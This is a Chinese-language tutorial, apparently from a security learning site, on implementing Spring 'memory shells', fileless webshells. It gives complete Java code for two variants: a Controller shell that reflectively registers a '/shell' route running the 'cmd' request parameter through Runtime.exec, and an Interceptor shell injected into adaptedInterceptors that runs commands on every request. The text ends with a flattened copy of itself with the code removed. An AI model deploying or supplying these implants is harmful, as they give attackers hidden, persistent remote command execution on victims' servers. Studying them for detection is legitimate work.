新手友好,spring内存马学习篇一
字数 1713 2025-08-29 08:30:18

Spring内存马学习与实现指南

环境准备

  • Spring 2.6.13
  • JDK 1.8.0.66
  • IDEA 2024.2
  • Maven配置阿里云仓库加速依赖下载

Spring框架基础

Spring Framework是整个Spring系列的核心,Spring Boot是基于Spring Framework的快速启动工具。在Spring中:

  • 应用层的特定上下文是WebApplicationContext
  • Bean是Spring的专业术语,代表一个对象
  • 主要路由处理组件:
    • Controller:类似于Tomcat的Servlet
    • Interceptor:类似于Tomcat的Filter和Listener

Controller内存马实现

核心思路

  1. 获取WebApplicationContext
  2. 通过WebApplicationContext获取RequestMappingHandlerMapping
  3. 创建恶意类,包含命令执行方法
  4. 通过反射获取恶意类的Method对象
  5. 创建RequestMappingInfopathPatternsRequestCondition
  6. 执行RequestMappingHandlerMapping.registerMapping注册恶意路由

详细实现步骤

  1. 获取WebApplicationContext
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  1. 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  1. 创建恶意类
class Shell {
    public void exec() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}
  1. 获取Method对象
Method method = Shell.class.getDeclaredMethod("exec");
  1. 创建PathPatternsRequestCondition
PathPatternsRequestCondition pathPatternsRequestCondition = 
    new PathPatternsRequestCondition(new PathPatternParser(), "/shell");
  1. 创建RequestMappingInfo
Constructor<RequestMappingInfo> declaredConstructor = RequestMappingInfo.class.getDeclaredConstructor(
    String.class, PathPatternsRequestCondition.class, PatternsRequestCondition.class,
    RequestMethodsRequestCondition.class, ParamsRequestCondition.class, 
    HeadersRequestCondition.class, ConsumesRequestCondition.class,
    ProducesRequestCondition.class, RequestConditionHolder.class,
    RequestMappingInfo.BuilderConfiguration.class);
declaredConstructor.setAccessible(true);
RequestMappingInfo requestMappingInfo = declaredConstructor.newInstance(
    null, pathPatternsRequestCondition, null,
    new RequestMethodsRequestCondition(), new ParamsRequestCondition(),
    new HeadersRequestCondition(), new ConsumesRequestCondition(),
    new ProducesRequestCondition(), new RequestConditionHolder(null),
    new RequestMappingInfo.BuilderConfiguration());
  1. 注册恶意路由
requestMappingHandlerMapping.registerMapping(requestMappingInfo, new Shell(), method);

注意事项

  • 在Spring 5.3+版本中,路径匹配方式发生了变化,可以使用PathPatternsRequestConditionPatternsRequestCondition
  • RequestMappingInfopatternsConditionpathPatternsCondition必须有一个不为null
  • 其他条件参数如RequestMethodsRequestCondition等可以初始化为空对象

Interceptor内存马实现

核心思路

  1. 获取WebApplicationContext
  2. 获取AbstractHandlerMapping对象(通常使用RequestMappingHandlerMapping
  3. 通过反射获取AbstractHandlerMapping.adaptedInterceptors
  4. 创建恶意拦截器
  5. 将恶意拦截器添加到adaptedInterceptors

详细实现步骤

  1. 获取WebApplicationContext
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  1. 获取AbstractHandlerMapping
AbstractHandlerMapping bean = context.getBean(RequestMappingHandlerMapping.class);
  1. 创建恶意拦截器
public class ShellInterception implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        return HandlerInterceptor.super.preHandle(request, response, handler);
    }
    // 其他方法可以空实现
}
  1. 通过反射添加拦截器
Field interceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
interceptors.setAccessible(true);
List<HandlerInterceptor> handlerInterceptorList = (List<HandlerInterceptor>) interceptors.get(bean);
handlerInterceptorList.add(new ShellInterception());

注意事项

  • AbstractHandlerMapping是抽象类,实际使用其子类RequestMappingHandlerMapping
  • 拦截器会应用于所有请求,需注意业务影响
  • 拦截器的preHandle方法返回true才会继续执行后续处理链

总结

Spring内存马主要有两种实现方式:

  1. Controller内存马

    • 通过动态注册Controller实现
    • 核心操作RequestMappingHandlerMapping.registerMapping
    • 需要构造RequestMappingInfoPathPatternsRequestCondition
  2. Interceptor内存马

    • 通过添加拦截器实现
    • 核心操作是修改AbstractHandlerMapping.adaptedInterceptors
    • 需要实现HandlerInterceptor接口

两种方式都需要先获取WebApplicationContext,这是Spring的核心上下文对象。相比Tomcat内存马,Spring内存马操作的是更高抽象级别的组件,但核心思路相似:动态修改框架的路由或过滤机制。

Spring内存马学习与实现指南 环境准备 Spring 2.6.13 JDK 1.8.0.66 IDEA 2024.2 Maven配置阿里云仓库加速依赖下载 Spring框架基础 Spring Framework是整个Spring系列的核心,Spring Boot是基于Spring Framework的快速启动工具。在Spring中: 应用层的特定上下文是 WebApplicationContext Bean是Spring的专业术语,代表一个对象 主要路由处理组件: Controller :类似于Tomcat的Servlet Interceptor :类似于Tomcat的Filter和Listener Controller内存马实现 核心思路 获取 WebApplicationContext 通过 WebApplicationContext 获取 RequestMappingHandlerMapping 创建恶意类,包含命令执行方法 通过反射获取恶意类的 Method 对象 创建 RequestMappingInfo 和 pathPatternsRequestCondition 执行 RequestMappingHandlerMapping.registerMapping 注册恶意路由 详细实现步骤 获取WebApplicationContext : 获取RequestMappingHandlerMapping : 创建恶意类 : 获取Method对象 : 创建PathPatternsRequestCondition : 创建RequestMappingInfo : 注册恶意路由 : 注意事项 在Spring 5.3+版本中,路径匹配方式发生了变化,可以使用 PathPatternsRequestCondition 或 PatternsRequestCondition RequestMappingInfo 的 patternsCondition 和 pathPatternsCondition 必须有一个不为null 其他条件参数如 RequestMethodsRequestCondition 等可以初始化为空对象 Interceptor内存马实现 核心思路 获取 WebApplicationContext 获取 AbstractHandlerMapping 对象(通常使用 RequestMappingHandlerMapping ) 通过反射获取 AbstractHandlerMapping.adaptedInterceptors 创建恶意拦截器 将恶意拦截器添加到 adaptedInterceptors 中 详细实现步骤 获取WebApplicationContext : 获取AbstractHandlerMapping : 创建恶意拦截器 : 通过反射添加拦截器 : 注意事项 AbstractHandlerMapping 是抽象类,实际使用其子类 RequestMappingHandlerMapping 拦截器会应用于所有请求,需注意业务影响 拦截器的 preHandle 方法返回 true 才会继续执行后续处理链 总结 Spring内存马主要有两种实现方式: Controller内存马 : 通过动态注册Controller实现 核心操作 RequestMappingHandlerMapping.registerMapping 需要构造 RequestMappingInfo 和 PathPatternsRequestCondition Interceptor内存马 : 通过添加拦截器实现 核心操作是修改 AbstractHandlerMapping.adaptedInterceptors 需要实现 HandlerInterceptor 接口 两种方式都需要先获取 WebApplicationContext ,这是Spring的核心上下文对象。相比Tomcat内存马,Spring内存马操作的是更高抽象级别的组件,但核心思路相似:动态修改框架的路由或过滤机制。